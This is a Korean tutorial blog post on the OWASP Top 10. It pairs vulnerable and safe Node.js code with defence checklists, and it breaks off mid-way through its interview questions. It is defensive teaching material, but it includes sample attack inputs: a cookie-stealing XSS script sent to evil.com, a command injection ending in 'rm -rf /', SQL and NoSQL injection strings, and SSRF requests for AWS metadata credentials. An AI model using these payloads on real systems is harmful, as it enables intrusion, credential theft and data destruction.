- Published on
웹 보안 OWASP Top 10 완전 가이드 2025: 개발자가 반드시 막아야 할 10대 취약점
- Authors

- Name
- Youngju Kim
- @fjvbn20031
- 서론: 왜 모든 개발자가 보안을 알아야 하는가
- 1. OWASP Top 10 개요
- 2. A01: Broken Access Control (접근 제어 실패)
- 3. A02: Cryptographic Failures (암호화 실패)
- 4. A03: Injection (인젝션)
- 5. A04: Insecure Design (불안전한 설계)
- 6. A05: Security Misconfiguration (보안 설정 오류)
- 7. A06: Vulnerable and Outdated Components (취약한 구성 요소)
- 8. A07: Identification and Authentication Failures (인증 실패)
- 9. A08: Software and Data Integrity Failures (소프트웨어 무결성 실패)
- 10. A09: Security Logging and Monitoring Failures (로깅 실패)
- 11. A10: Server-Side Request Forgery (SSRF)
- 12. Beyond OWASP: 추가 취약점
- 13. Security Headers 완전 가이드
- 14. 보안 테스팅 도구
- 15. 프로덕션 보안 체크리스트 (20항목)
- 16. 면접 예상 질문 15선
- 17. 퀴즈
- 참고 자료
서론: 왜 모든 개발자가 보안을 알아야 하는가
2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 평균 비용은 488만 달러에 달합니다. 더 충격적인 사실은 유출 사고의 약 70%가 애플리케이션 레벨의 취약점에서 시작된다는 점입니다.
보안은 보안팀만의 책임이 아닙니다. 모든 코드를 작성하는 개발자가 보안의 첫 번째 방어선입니다. OWASP(Open Web Application Security Project)는 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정기적으로 발표합니다.
이 글에서는 OWASP Top 10 2021의 각 취약점을 실제 코드와 함께 분석하고, 방어 방법과 실전 체크리스트를 제공합니다.
1. OWASP Top 10 개요
1.1 OWASP Top 10 2021 순위
| 순위 | 카테고리 | 2017 대비 변화 |
|---|---|---|
| A01 | Broken Access Control | 5위에서 1위로 상승 |
| A02 | Cryptographic Failures | 3위에서 2위 (이름 변경) |
| A03 | Injection | 1위에서 3위로 하락 |
| A04 | Insecure Design | 신규 항목 |
| A05 | Security Misconfiguration | 6위에서 5위로 상승 |
| A06 | Vulnerable and Outdated Components | 9위에서 6위로 상승 |
| A07 | Identification and Authentication Failures | 2위에서 7위로 하락 |
| A08 | Software and Data Integrity Failures | 신규 (8위에서 분리) |
| A09 | Security Logging and Monitoring Failures | 10위에서 9위로 상승 |
| A10 | Server-Side Request Forgery (SSRF) | 신규 항목 |
1.2 2017 대비 주요 변화
Injection이 1위에서 3위로 하락한 것은 프레임워크들의 기본 방어 메커니즘이 개선되었기 때문입니다. 반면 Broken Access Control이 1위로 올라간 것은 API 기반 아키텍처의 확산으로 권한 제어 실수가 급증했기 때문입니다.
Insecure Design(A04) 과 SSRF(A10) 가 신규 진입한 것은 클라우드 네이티브 환경과 마이크로서비스 아키텍처에서 새로운 공격 벡터가 등장했음을 의미합니다.
2. A01: Broken Access Control (접근 제어 실패)
2.1 개요
접근 제어 실패는 사용자가 자신의 권한을 넘어서는 행동을 할 수 있는 취약점입니다. 94%의 애플리케이션에서 어떤 형태로든 접근 제어 실패가 발견되었습니다.
2.2 공격 시나리오
IDOR (Insecure Direct Object Reference):
# 공격자가 URL의 ID를 변경하여 다른 사용자 정보 조회
GET /api/users/12345/profile → 자신의 프로필
GET /api/users/12346/profile → 다른 사용자의 프로필 (권한 없이 접근!)
2.3 취약한 코드
// 취약한 코드 - 권한 확인 없이 직접 조회
app.get('/api/users/:id/profile', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // 누구든 ID만 알면 접근 가능!
});
// 취약한 코드 - 역할만 확인하고 리소스 소유권 미확인
app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {
await Post.findByIdAndDelete(req.params.id); // 다른 사용자의 글도 삭제 가능!
res.json({ message: 'Deleted' });
});
2.4 안전한 코드
// 안전한 코드 - 리소스 소유권 확인
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
// 자신의 프로필이거나 관리자인 경우에만 허용
if (req.params.id !== req.user.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await User.findById(req.params.id);
res.json(user);
});
// 안전한 코드 - 리소스 소유권 + 역할 확인
app.delete('/api/posts/:id', authenticate, async (req, res) => {
const post = await Post.findById(req.params.id);
if (!post) return res.status(404).json({ error: 'Not found' });
if (post.authorId !== req.user.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
await post.deleteOne();
res.json({ message: 'Deleted' });
});
2.5 방어 체크리스트
- 기본적으로 모든 접근을 거부하고, 필요한 경우에만 허용 (Deny by default)
- IDOR 방지: 리소스 접근 시 항상 소유권 또는 권한 확인
- CORS 설정을 최소한으로 제한
- JWT 토큰에 역할 정보 포함 시 서버 측에서 재검증
- API 엔드포인트마다 접근 제어 테스트 작성
3. A02: Cryptographic Failures (암호화 실패)
3.1 개요
민감한 데이터를 보호하기 위한 암호화가 누락되거나 잘못 구현된 경우입니다. 이전에는 "Sensitive Data Exposure"라고 불렸습니다.
3.2 공격 시나리오
# 시나리오 1: HTTP를 통한 비밀번호 전송
POST http://example.com/login (HTTPS가 아닌 HTTP!)
Body: username=admin&password=secret123
# 시나리오 2: 취약한 해시 알고리즘
비밀번호를 MD5로 저장 → 레인보우 테이블 공격으로 즉시 복호화
3.3 취약한 코드
// 취약: MD5로 비밀번호 해시
const crypto = require('crypto');
const hashedPassword = crypto.createHash('md5').update(password).digest('hex');
// 취약: 하드코딩된 암호화 키
const SECRET_KEY = 'my-super-secret-key-123';
const encrypted = encrypt(data, SECRET_KEY);
// 취약: 약한 TLS 버전 허용
const server = https.createServer({
secureProtocol: 'TLSv1_method', // TLS 1.0은 취약!
});
3.4 안전한 코드
const bcrypt = require('bcrypt');
// 안전: bcrypt로 비밀번호 해시 (솔트 자동 생성)
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);
// 안전: 환경변수에서 키 로드 + AES-256-GCM 사용
const crypto = require('crypto');
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
function encrypt(plaintext) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
const tag = cipher.getAuthTag();
return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };
}
// 안전: TLS 1.2 이상만 허용
const server = https.createServer({
minVersion: 'TLSv1.2',
ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',
});
3.5 방어 체크리스트
- 모든 통신에 HTTPS(TLS 1.2+) 강제
- 비밀번호는 bcrypt, scrypt, Argon2 사용 (MD5, SHA-1 금지)
- 암호화 키는 환경변수 또는 KMS(Key Management Service) 사용
- AES-256-GCM 등 인증된 암호화 알고리즘 사용
- 민감 데이터를 불필요하게 저장하지 않음
4. A03: Injection (인젝션)
4.1 개요
사용자 입력이 쿼리, 명령어, 코드의 일부로 해석되는 취약점입니다. SQL Injection, NoSQL Injection, OS Command Injection, XSS가 대표적입니다.
4.2 SQL Injection 공격 시나리오
-- 정상 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
-- 공격 입력: username = ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- 결과: 모든 사용자 정보가 반환됨!
4.3 취약한 코드 vs 안전한 코드
// ===== SQL Injection =====
// 취약: 문자열 연결로 쿼리 생성
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);
// 안전: 파라미터화된 쿼리 (Prepared Statement)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, hashedPassword]);
// 안전: ORM 사용 (Sequelize 예시)
const user = await User.findOne({
where: { username, password: hashedPassword },
});
// ===== NoSQL Injection =====
// 취약: MongoDB - 사용자 입력을 직접 쿼리에 사용
app.post('/login', async (req, res) => {
// 공격: { "username": {"$gt": ""}, "password": {"$gt": ""} }
const user = await User.findOne(req.body);
});
// 안전: 타입 검증 + mongo-sanitize
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
const username = sanitize(req.body.username);
if (typeof username !== 'string') return res.status(400).send('Invalid input');
const user = await User.findOne({ username, password: hashedPassword });
});
// ===== OS Command Injection =====
// 취약: 사용자 입력을 쉘 명령어에 직접 사용
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// 공격: userInput = "8.8.8.8; rm -rf /"
// 안전: execFile 사용 (쉘 해석 없음)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], callback);
4.4 XSS (Cross-Site Scripting)
// ===== Stored XSS =====
// 취약: 사용자 입력을 그대로 HTML에 삽입
app.get('/comments', async (req, res) => {
const comments = await Comment.find();
let html = '';
comments.forEach(c => {
html += `<div>${c.text}</div>`; // XSS 취약!
});
res.send(html);
});
// 공격 입력: <script>document.location='http://evil.com/?cookie='+document.cookie</script>
// 안전: 출력 인코딩
const he = require('he');
comments.forEach(c => {
html += `<div>${he.encode(c.text)}</div>`;
});
// React는 기본적으로 XSS 방지 (JSX가 자동 이스케이프)
function Comment({ text }) {
return <div>{text}</div>; // 자동으로 HTML 이스케이프됨
}
// 주의: dangerouslySetInnerHTML은 XSS 취약!
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // 사용 금지!
4.5 방어 체크리스트
- SQL: 항상 파라미터화된 쿼리 또는 ORM 사용
- NoSQL: 입력 타입 검증 + mongo-sanitize
- OS Command: execFile 사용, 사용자 입력을 쉘에 직접 전달 금지
- XSS: 출력 인코딩, CSP 헤더 설정, React/Vue 등 프레임워크의 자동 이스케이프 활용
5. A04: Insecure Design (불안전한 설계)
5.1 개요
보안 제어가 설계 단계에서부터 누락된 경우입니다. A04는 코드 레벨이 아닌 아키텍처 레벨의 취약점입니다. 아무리 완벽하게 구현해도 설계 자체가 취약하면 안전할 수 없습니다.
5.2 공격 시나리오
시나리오: 비밀번호 재설정 질문 기반 인증
- "어머니의 성함은?" → SNS에서 쉽게 수집 가능
- 설계 결함: 비밀번호 재설정에 보안 질문만 사용
시나리오: 무제한 파일 업로드
- 파일 크기/타입 제한 없음 → 서버 디스크 고갈 또는 악성 파일 실행
- 설계 결함: 리소스 제한이 아키텍처에 미포함
5.3 안전한 설계 원칙
// 원칙 1: Rate Limiting (요청 제한)
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15분
max: 5, // 최대 5회 시도
message: 'Too many login attempts. Please try again after 15 minutes.',
standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);
// 원칙 2: Business Logic Validation
// 쿠폰 사용 시 중복 사용 방지를 설계 단계에서 고려
async function applyCoupon(userId, couponCode) {
const coupon = await Coupon.findOne({ code: couponCode });
if (!coupon || coupon.usedBy.includes(userId)) {
throw new Error('Invalid or already used coupon');
}
// 원자적 업데이트로 레이스 컨디션 방지
const result = await Coupon.findOneAndUpdate(
{ code: couponCode, usedBy: { $ne: userId } },
{ $push: { usedBy: userId } },
{ new: true }
);
if (!result) throw new Error('Coupon already used');
return result;
}
// 원칙 3: 위협 모델링 (Threat Modeling)
// STRIDE 모델: Spoofing, Tampering, Repudiation,
// Information Disclosure, Denial of Service,
// Elevation of Privilege
5.4 방어 체크리스트
- 설계 단계에서 위협 모델링 수행 (STRIDE, DREAD)
- 비즈니스 로직에 Rate Limiting 포함
- Abuse Case를 Use Case와 함께 작성
- 보안 설계 패턴 라이브러리 활용
- 보안 요구사항을 User Story에 포함
6. A05: Security Misconfiguration (보안 설정 오류)
6.1 개요
서버, 프레임워크, 클라우드 서비스의 보안 설정이 기본값이거나 잘못 구성된 경우입니다. 90%의 애플리케이션에서 발견되는 가장 흔한 취약점입니다.
6.2 취약한 설정 vs 안전한 설정
// ===== Express.js 보안 설정 =====
// 취약: 기본 설정 사용
const app = express();
app.use(express.json());
// X-Powered-By 헤더가 "Express"를 노출 → 공격자에게 정보 제공
// 안전: Helmet 미들웨어 + 보안 강화
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 여러 보안 헤더 자동 설정
app.disable('x-powered-by');
// 안전: 에러 메시지 정보 노출 방지
app.use((err, req, res, next) => {
console.error(err.stack); // 서버 로그에만 기록
res.status(500).json({
error: 'Internal Server Error', // 일반적인 메시지만 반환
// message: err.message // 절대 노출하지 않음!
// stack: err.stack // 절대 노출하지 않음!
});
});
# ===== Docker 보안 설정 =====
# 취약: root 사용자로 실행
FROM node:20
COPY . .
CMD ["node", "server.js"]
# 안전: non-root 사용자 사용
FROM node:20-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "server.js"]
# ===== AWS S3 보안 설정 =====
# 취약: 퍼블릭 접근 허용된 S3 버킷
# BucketPolicy에 Principal: "*" 설정
# 안전: 퍼블릭 접근 차단
Resources:
MyBucket:
Type: AWS::S3::Bucket
Properties:
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: AES256
6.3 방어 체크리스트
- 프로덕션에서 디버그 모드 비활성화
- 기본 계정/비밀번호 변경
- 불필요한 기능, 포트, 서비스 비활성화
- 보안 헤더 설정 (Helmet 등)
- 클라우드 리소스의 퍼블릭 접근 차단
- Infrastructure as Code(IaC)로 설정 일관성 유지
7. A06: Vulnerable and Outdated Components (취약한 구성 요소)
7.1 개요
알려진 취약점이 있는 라이브러리, 프레임워크, 소프트웨어 구성 요소를 사용하는 경우입니다. Log4Shell(CVE-2021-44228)이 대표적인 사례입니다.
7.2 방어 코드 및 도구
# npm 의존성 취약점 감사
npm audit
npm audit fix
# Snyk으로 취약점 스캔
npx snyk test
npx snyk monitor # 지속적 모니터링
# GitHub Dependabot 설정 (.github/dependabot.yml)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
reviewers:
- "security-team"
// package.json - 버전 고정 전략
{
"dependencies": {
"express": "4.18.2", // 정확한 버전 고정
"lodash": "^4.17.21" // 마이너/패치 업데이트 허용
},
"overrides": {
// 간접 의존성의 취약한 버전 강제 업데이트
"nth-check": ">=2.0.1"
}
}
7.3 방어 체크리스트
- npm audit / Snyk / OWASP Dependency-Check 정기 실행
- CI/CD 파이프라인에 의존성 취약점 스캔 통합
- Dependabot 또는 Renovate Bot으로 자동 업데이트 PR 생성
- 사용하지 않는 의존성 제거
- SBOM(Software Bill of Materials) 유지
8. A07: Identification and Authentication Failures (인증 실패)
8.1 개요
인증 메커니즘이 잘못 구현되어 공격자가 사용자 계정에 무단 접근할 수 있는 취약점입니다.
8.2 취약한 코드 vs 안전한 코드
// ===== 취약한 세션 관리 =====
// 취약: 순차적 세션 ID
let sessionCounter = 0;
function createSession() {
return (++sessionCounter).toString(); // 예측 가능!
}
// 안전: 암호학적으로 안전한 랜덤 세션 ID
const crypto = require('crypto');
function createSession() {
return crypto.randomBytes(32).toString('hex'); // 256비트 랜덤
}
// ===== 취약한 JWT 구현 =====
// 취약: algorithm none 허용
const payload = jwt.verify(token, secret); // algorithm 검증 안 함!
// 안전: 명시적 알고리즘 지정
const payload = jwt.verify(token, secret, {
algorithms: ['HS256'], // 허용할 알고리즘 명시
issuer: 'my-app',
audience: 'my-api',
});
// ===== 비밀번호 정책 =====
// 안전: 강력한 비밀번호 검증
function validatePassword(password) {
const minLength = 12;
const hasUpperCase = /[A-Z]/.test(password);
const hasLowerCase = /[a-z]/.test(password);
const hasNumbers = /\d/.test(password);
const hasSpecialChar = /[!@#$%^&*(),.?":{}|<>]/.test(password);
const isNotCommon = !commonPasswords.includes(password);
return (
password.length >= minLength &&
hasUpperCase && hasLowerCase &&
hasNumbers && hasSpecialChar && isNotCommon
);
}
8.3 다중 인증(MFA) 구현
// TOTP (Time-based One-Time Password) 구현
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// MFA 설정
async function setupMFA(userId) {
const secret = speakeasy.generateSecret({
name: `MyApp:user-${userId}`,
issuer: 'MyApp',
});
// QR 코드 생성
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
// 시크릿을 DB에 저장 (암호화하여)
await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });
return { qrCodeUrl, backupCodes: generateBackupCodes() };
}
// MFA 검증
function verifyMFA(token, userSecret) {
return speakeasy.totp.verify({
secret: userSecret,
encoding: 'base32',
token: token,
window: 1, // 30초 앞뒤 허용
});
}
8.4 방어 체크리스트
- MFA(다중 인증) 구현 및 권장
- 비밀번호 최소 12자 + 복잡도 요구
- 실패한 로그인 시도 제한 (Account Lockout)
- 세션 타임아웃 설정
- 비밀번호 해시에 bcrypt/Argon2 사용
- JWT: 알고리즘 명시, 만료 시간 설정, Refresh Token Rotation
9. A08: Software and Data Integrity Failures (소프트웨어 무결성 실패)
9.1 개요
소프트웨어 업데이트, CI/CD 파이프라인, 데이터 직렬화에서 무결성이 검증되지 않는 경우입니다. SolarWinds 공급망 공격이 대표적 사례입니다.
9.2 취약한 코드 vs 안전한 코드
// ===== 안전하지 않은 역직렬화 =====
// 취약: 사용자 입력을 직접 역직렬화
app.post('/api/data', (req, res) => {
const data = JSON.parse(req.body.serializedData);
// Prototype Pollution 가능!
processData(data);
});
// 안전: 스키마 검증 후 역직렬화
const Joi = require('joi');
const schema = Joi.object({
name: Joi.string().max(100).required(),
age: Joi.number().integer().min(0).max(150),
email: Joi.string().email(),
});
app.post('/api/data', (req, res) => {
const { error, value } = schema.validate(req.body);
if (error) return res.status(400).json({ error: error.details });
processData(value); // 검증된 데이터만 처리
});
# ===== CI/CD 파이프라인 무결성 =====
# GitHub Actions에서 의존성 해시 고정
- uses: actions/checkout@v4 # 태그 고정
# 더 안전: SHA 해시 고정
# uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
9.3 방어 체크리스트
- SRI(Subresource Integrity) 해시를 CDN 리소스에 추가
- CI/CD 파이프라인에서 아티팩트 서명 및 검증
- npm lockfile(package-lock.json) 무결성 확인
- 역직렬화 전 스키마 검증 (Joi, Zod)
- 소프트웨어 업데이트의 디지털 서명 확인
10. A09: Security Logging and Monitoring Failures (로깅 실패)
10.1 개요
보안 관련 이벤트가 기록되지 않거나, 모니터링되지 않아 공격을 탐지하지 못하는 경우입니다. 평균적으로 유출 사고 탐지까지 194일이 소요됩니다.
10.2 안전한 보안 로깅
const winston = require('winston');
// 보안 이벤트 전용 로거
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
defaultMeta: { service: 'security' },
transports: [
new winston.transports.File({ filename: 'security.log' }),
// 프로덕션에서는 SIEM으로 전송
],
});
// 로그인 시도 기록
function logAuthEvent(event) {
securityLogger.info('Authentication event', {
type: event.type, // 'login_success', 'login_failure', 'logout'
userId: event.userId,
ip: event.ip,
userAgent: event.userAgent,
timestamp: new Date().toISOString(),
// 주의: 비밀번호는 절대 로깅하지 않음!
});
}
// 중요 작업 감사 로그
function logAuditEvent(action, userId, resource, details) {
securityLogger.info('Audit event', {
action, // 'create', 'update', 'delete', 'export'
userId,
resource, // 'user', 'payment', 'admin_settings'
details,
timestamp: new Date().toISOString(),
});
}
10.3 방어 체크리스트
- 로그인 성공/실패, 권한 변경, 중요 작업을 반드시 로깅
- 비밀번호, 토큰 등 민감 정보는 로그에 포함하지 않음
- 중앙 집중식 로그 관리 (ELK Stack, CloudWatch)
- 이상 탐지 알림 설정 (N분 내 N회 실패 시 알림)
- 로그 변조 방지 (별도 서버에 저장, 감사 로그 immutability)
11. A10: Server-Side Request Forgery (SSRF)
11.1 개요
서버가 공격자가 지정한 URL로 요청을 보내도록 유도하는 공격입니다. 2019년 Capital One 해킹 사건의 핵심 취약점이었습니다.
11.2 공격 시나리오
# 정상 요청: 외부 이미지 미리보기
POST /api/fetch-url
Body: { "url": "https://example.com/image.png" }
# SSRF 공격: 내부 메타데이터 서비스 접근
POST /api/fetch-url
Body: { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
# AWS 인스턴스의 IAM 크레덴셜 탈취!
# SSRF 공격: 내부 서비스 접근
POST /api/fetch-url
Body: { "url": "http://internal-admin.local:8080/admin/delete-all" }
11.3 취약한 코드 vs 안전한 코드
const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
// 취약: 사용자 입력 URL로 직접 요청
app.post('/api/fetch-url', async (req, res) => {
const response = await axios.get(req.body.url); // 위험!
res.json(response.data);
});
// 안전: URL 검증 + IP 차단
async function isUrlSafe(urlString) {
const parsed = new URL(urlString);
// HTTPS만 허용
if (parsed.protocol !== 'https:') return false;
// 내부 호스트명 차단
const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];
if (blockedHosts.includes(parsed.hostname)) return false;
// DNS 확인 후 내부 IP 차단
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
if (ip.range() !== 'unicast') return false; // 사설 IP, 루프백 등 차단
}
return true;
}
app.post('/api/fetch-url', async (req, res) => {
if (!await isUrlSafe(req.body.url)) {
return res.status(403).json({ error: 'URL not allowed' });
}
const response = await axios.get(req.body.url, {
timeout: 5000,
maxRedirects: 0, // 리다이렉트 차단 (SSRF 우회 방지)
});
res.json(response.data);
});
11.4 방어 체크리스트
- 허용 목록(allowlist) 기반 URL 검증
- 내부 IP 대역(10.x, 172.16-31.x, 192.168.x, 169.254.x) 차단
- IMDSv2 사용 (AWS 메타데이터 서비스 보호)
- 서버에서 외부 요청 시 전용 네트워크 인터페이스 사용
- DNS Rebinding 방지: DNS 해석 후 IP 재확인
12. Beyond OWASP: 추가 취약점
12.1 CSRF (Cross-Site Request Forgery)
// CSRF 방어: csurf 미들웨어
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// CSRF 토큰 자동 검증
processTransfer(req.body);
});
// SameSite 쿠키로 CSRF 방어
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'Strict', // 또는 'Lax'
maxAge: 3600000,
});
12.2 CORS (Cross-Origin Resource Sharing)
const cors = require('cors');
// 취약: 모든 오리진 허용
app.use(cors()); // origin: '*'
// 안전: 특정 오리진만 허용
app.use(cors({
origin: ['https://myapp.com', 'https://admin.myapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 86400, // preflight 캐시 24시간
}));
12.3 CSP (Content Security Policy)
// Content Security Policy 설정
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-abc123'"], // 인라인 스크립트는 nonce 필수
styleSrc: ["'self'", "https://fonts.googleapis.com"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.myapp.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'none'"],
frameSrc: ["'none'"],
},
}));
12.4 Rate Limiting
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
// 분산 환경을 위한 Redis 기반 Rate Limiting
const limiter = rateLimit({
store: new RedisStore({
sendCommand: (...args) => redisClient.call(...args),
}),
windowMs: 15 * 60 * 1000,
max: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later.' },
keyGenerator: (req) => req.ip, // IP 기반 제한
});
// API 엔드포인트별 다른 제한
const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });
app.use('/api/auth', authLimiter);
app.use('/api/', apiLimiter);
13. Security Headers 완전 가이드
// 모든 보안 헤더를 한 번에 설정
app.use((req, res, next) => {
// XSS 방어
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-XSS-Protection', '0'); // 최신 브라우저는 CSP 사용
// Clickjacking 방어
res.setHeader('X-Frame-Options', 'DENY');
// HTTPS 강제
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
// Referrer 정보 제한
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// 브라우저 기능 제한
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
// CSP
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
next();
});
| 헤더 | 목적 | 권장 값 |
|---|---|---|
| Content-Security-Policy | XSS/인젝션 방어 | default-src 'self' |
| Strict-Transport-Security | HTTPS 강제 | max-age=31536000; includeSubDomains |
| X-Frame-Options | Clickjacking 방어 | DENY |
| X-Content-Type-Options | MIME 스니핑 방어 | nosniff |
| Referrer-Policy | Referrer 정보 제한 | strict-origin-when-cross-origin |
| Permissions-Policy | 브라우저 기능 제한 | camera=(), microphone=() |
14. 보안 테스팅 도구
14.1 DAST (Dynamic Application Security Testing)
| 도구 | 유형 | 특징 |
|---|---|---|
| OWASP ZAP | 오픈소스 DAST | 자동 스캔 + 수동 테스트, CI/CD 통합 |
| Burp Suite | 상용 DAST | 업계 표준 웹 보안 테스팅 도구 |
| Nuclei | 오픈소스 스캐너 | 템플릿 기반 취약점 스캔 |
14.2 SAST (Static Application Security Testing)
| 도구 | 유형 | 특징 |
|---|---|---|
| SonarQube | 오픈소스 SAST | 코드 품질 + 보안 취약점 분석 |
| Semgrep | 오픈소스 SAST | 가벼운 정적 분석, 커스텀 룰 지원 |
| CodeQL | GitHub SAST | GitHub 통합, 시맨틱 분석 |
14.3 SCA (Software Composition Analysis)
| 도구 | 유형 | 특징 |
|---|---|---|
| Snyk | SCA + SAST | 의존성 취약점 + 코드 취약점 |
| npm audit | 내장 | npm 의존성 취약점 검사 |
| Trivy | 오픈소스 | 컨테이너 이미지 + 파일시스템 스캔 |
# GitHub Actions에 보안 스캔 통합
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
- name: Run Semgrep
uses: semgrep/semgrep-action@v1
with:
config: p/owasp-top-ten
- name: Run Trivy
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
severity: 'CRITICAL,HIGH'
15. 프로덕션 보안 체크리스트 (20항목)
인증 및 접근 제어
- MFA(다중 인증) 구현
- 비밀번호 최소 12자 + 복잡도 요구
- 세션 타임아웃 설정 (예: 30분)
- JWT Refresh Token Rotation 구현
- RBAC 또는 ABAC 기반 권한 관리
데이터 보호
- 모든 통신에 HTTPS(TLS 1.2+) 강제
- 비밀번호 bcrypt/Argon2 해시
- 암호화 키 KMS 관리
- PII(개인식별정보) 최소 수집/암호화 저장
입력 검증
- 파라미터화된 쿼리 사용 (SQL Injection 방지)
- 출력 인코딩 (XSS 방지)
- CSRF 토큰 또는 SameSite 쿠키
- 파일 업로드 타입/크기 제한
인프라 및 설정
- 보안 헤더 설정 (CSP, HSTS, X-Frame-Options)
- 프로덕션에서 디버그 모드 비활성화
- Docker 컨테이너 non-root 실행
- 클라우드 리소스 퍼블릭 접근 차단
모니터링 및 대응
- 보안 이벤트 로깅 (인증, 권한 변경, 중요 작업)
- 의존성 취약점 자동 스캔 (CI/CD 통합)
- 인시던트 대응 플레이북 준비
16. 면접 예상 질문 15선
기초 질문
Q1: OWASP Top 10이란 무엇이며, 왜 중요한가요?
OWASP Top 10은 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정리한 목록입니다. 3-4년마다 갱신되며, 보안 인식 제고와 개발 가이드라인으로 업계에서 널리 사용됩니다. PCI DSS 같은 규정 준수에서도 참조됩니다.
Q2: SQL Injection을 방지하는 방법 3가지를 설명하세요.
- 파라미터화된 쿼리(Prepared Statement): 쿼리와 데이터를 분리합니다. 2) ORM 사용: Sequelize, Prisma 등이 자동으로 쿼리를 파라미터화합니다. 3) 입력 검증: 화이트리스트 기반으로 허용된 문자만 통과시킵니다.
Q3: XSS의 3가지 유형을 설명하세요.
- Stored XSS: 악성 스크립트가 DB에 저장되어 다른 사용자에게 전달. 2) Reflected XSS: URL 파라미터의 스크립트가 응답에 포함. 3) DOM-based XSS: 클라이언트 측 JavaScript가 DOM을 조작하여 발생. 방어는 출력 인코딩과 CSP 헤더 설정입니다.
Q4: CSRF란 무엇이며 어떻게 방어하나요?
CSRF는 인증된 사용자의 브라우저를 이용해 악의적 요청을 보내는 공격입니다. 방어: 1) Anti-CSRF 토큰 사용, 2) SameSite 쿠키 속성, 3) Referer/Origin 헤더 검증, 4) 중요 작업에 재인증 요구.
Q5: HTTPS가 HTTP보다 안전한 이유를 설명하세요.
HTTPS는 TLS를 사용하여 세 가지를 보장합니다: 1) 기밀성: 데이터 암호화로 도청 방지, 2) 무결성: 데이터 변조 감지, 3) 인증: 서버 신원 확인(인증서). HTTP는 평문 전송이므로 중간자 공격(MITM)에 취약합니다.
중급 질문
Q6: Broken Access Control과 Authentication Failure의 차이는?
Authentication Failure는 "당신이 누구인가?"를 잘못 판단하는 것이고, Broken Access Control은 "당신이 무엇을 할 수 있는가?"를 잘못 제어하는 것입니다. 인증은 신원 확인, 접근 제어는 권한 제어입니다.
Q7: SSRF 공격이 클라우드 환경에서 특히 위험한 이유는?
